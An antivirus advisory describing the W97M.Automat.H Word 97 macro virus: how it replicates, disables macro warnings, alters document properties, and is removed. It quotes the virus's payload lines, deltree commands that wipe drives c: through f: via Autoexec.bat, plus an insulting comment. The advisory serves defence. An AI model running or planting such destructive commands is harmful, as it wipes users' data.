Overview

This is a virus detection. Viruses are programs that self-replicate recursively, meaning that infected systems spread the virus to other systems, which then propagate the virus further. While many viruses contain a destructive payload, it's quite common for viruses to do nothing more than spread from one system to another.

• W97M.Automat.H

Characteristics

This is a virus for Word 97 documents. It is able to replicate under the SR-1 release of Word 97. It will turn off the macro warning feature of Word 97. It's payload is activated on the 17th of every month, then the lines:
deltree /Y f:\*
deltree /Y e:\*
deltree /Y d:\*
deltree /Y c:\*
rem Created by Dream Blaster
rem Minny, you are simply a bitch

are appended to C:\Autoexec.bat, attempting to delete all subdirectories starting from drive f: on the next reboot.

In a 1-in-3 chance this virus also changes the document properties, author to Dream Blaster, title to Macro Carrier, and keywords to Minny. These changes are not reversed during cleaning because VirusScan has no way of know what they were before they were modified. To change them back, open the document, then choose File, then Properties.

This virus consists of a module called ThisDocument. This macro virus will infect Word's normal.dot file.

Symptoms

Method of Infection

Removal

All Users :
Script,Batch,Macro and non memory-resident:
Use current engine and DAT files for detection and removal.

PE,Trojan,Internet Worm and memory resident :
Use specified engine and DAT files for detection. To remove, boot to MS-DOS mode or use a boot diskette and use the command line scanner:

Additional Windows ME/XP removal considerations

Users should not trust file icons, particularly when receiving files from others via P2P clients, IRC, email or other mediums where users can share files.

AVERT Recommended Updates :

* Office2000 Updates

* Malformed Word Document Could Enable Macro to Run Automatically (Information/Patch )

* scriptlet.typelib/Eyedog vulnerability patch

* Outlook as an email attachment security update

* Exchange 5.5 post SP3 Information Store Patch 5.5.2652.42 - this patch corrects detection issues with GroupShield

Additionally, Network Administrators can configure this update using an available tool - visit this link for more information .

It is very common for macro viruses to disable options within Office applications for example in Word, the macro protection warning commonly is disabled. After cleaning macro viruses, ensure that your previously set options are again enabled.
